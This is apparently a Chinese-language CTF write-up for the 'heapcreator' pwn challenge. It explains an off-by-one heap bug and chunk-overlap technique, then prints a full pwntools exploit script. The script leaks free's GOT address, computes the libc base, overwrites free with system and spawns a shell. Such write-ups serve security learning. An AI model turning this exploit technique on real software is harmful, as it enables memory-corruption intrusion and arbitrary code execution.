hitcontraining_heapcreator

这道题是一个off by one 的利用。首先看下程序保护,没PIE且got表可写。
image
看下程序
image
很直观的选择程序
image
菜单
image
这个是add函数,据此分析我们的chunk是什么样子,这个是个结构体,他会先创造一个0x10大小的chunk,再根据我们的size创造我们真正需要的chunk。
可以直接调试看下他的状态,如果你也像我一样看不太来代码。
image
这里我是创造了两个0x20大小的chunk,可以看到每add一次都会出现两个chunk,一个大小确定0x10(0x20),它的后16位存了我们申请chunk的大小,还有一个指向我们的真正malloc的chunk的内容的位置的指针。
image
然后看到edit函数,read_input那里是一个off_by_one漏洞,这个漏洞的主要原理就是可以在我们的预料范围之外多利用一个字节且只有一个字节。
这种情况一般出现在循环上,或者这里。
在堆中最常见的就是可以从上一个chunk修改覆盖到下一个chunk的prev size。
image
show就是把我们创建的chunk大小和内容打印出来
image
delete函数归零了指针,没有什么问题。

到现在为止我们知道的就是:
1.edit有off by one漏洞
2.chunk的结构上指向内容的指针
3.got表可写

综上我们的思路就是利用8的prev size复用机制,利用off by one 漏洞直接跳过prev size edit 下一个chunk的size,再利用结构体的特性释放重用泄露free的got表。然后在free的got位置写入system
再释放一个包含bin/sh\x00的堆块就可以了

复用原理:
当我们申请的堆块大小不是16的倍数,比如8,就会复用下一个chunk的prev size作为存放数据的位置。

点击查看代码
from pwn import *
io=process("./heapcreator")
#io=remote("node4.buuoj.cn",26350)
def add(size,content):
    io.sendlineafter("Your choice :","1")
    io.sendlineafter("Size of Heap : ",str(size))
    io.sendlineafter("Content of heap:",content)

def edit(idx,content):
    io.sendlineafter("Your choice :","2")
    io.sendlineafter("Index :",str(idx))
    io.sendlineafter("Content of heap : ",content)

def show(idx):
    io.sendlineafter("Your choice :","3")
    io.sendlineafter("Index :",str(idx))

def delete(idx):
    io.sendlineafter("Your choice :","4")
    io.sendlineafter("Index :",str(idx))

add(0x18,'aaaaaaaa')
add(0x10,'aaaaaaaa')

payload = '/bin/sh\x00'
payload += p64(0)*2 + '\x41'
edit(0,payload)

delete(1)
elf=ELF("./heapcreator")
free_got=elf.got["free"]
add(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
io.recvuntil("Content : ")
free_add = u64(io.recv(8)[0:6].ljust(8,'\x00'))
print "free_add -->[%s]"%hex(free_add)
libc=ELF("libc-2.23.64-buu.so")
libcbase=free_add-libc.sym["free"]
sys_addr=libcbase+libc.sym["system"]
print "system_add --> [%s]"%hex(sys_addr)
edit(1,p64(sys_addr))
delete(0)
io.interactive()
posted @ 2022-08-28 04:46  REPWNER  阅读(22)  评论(0)    收藏  举报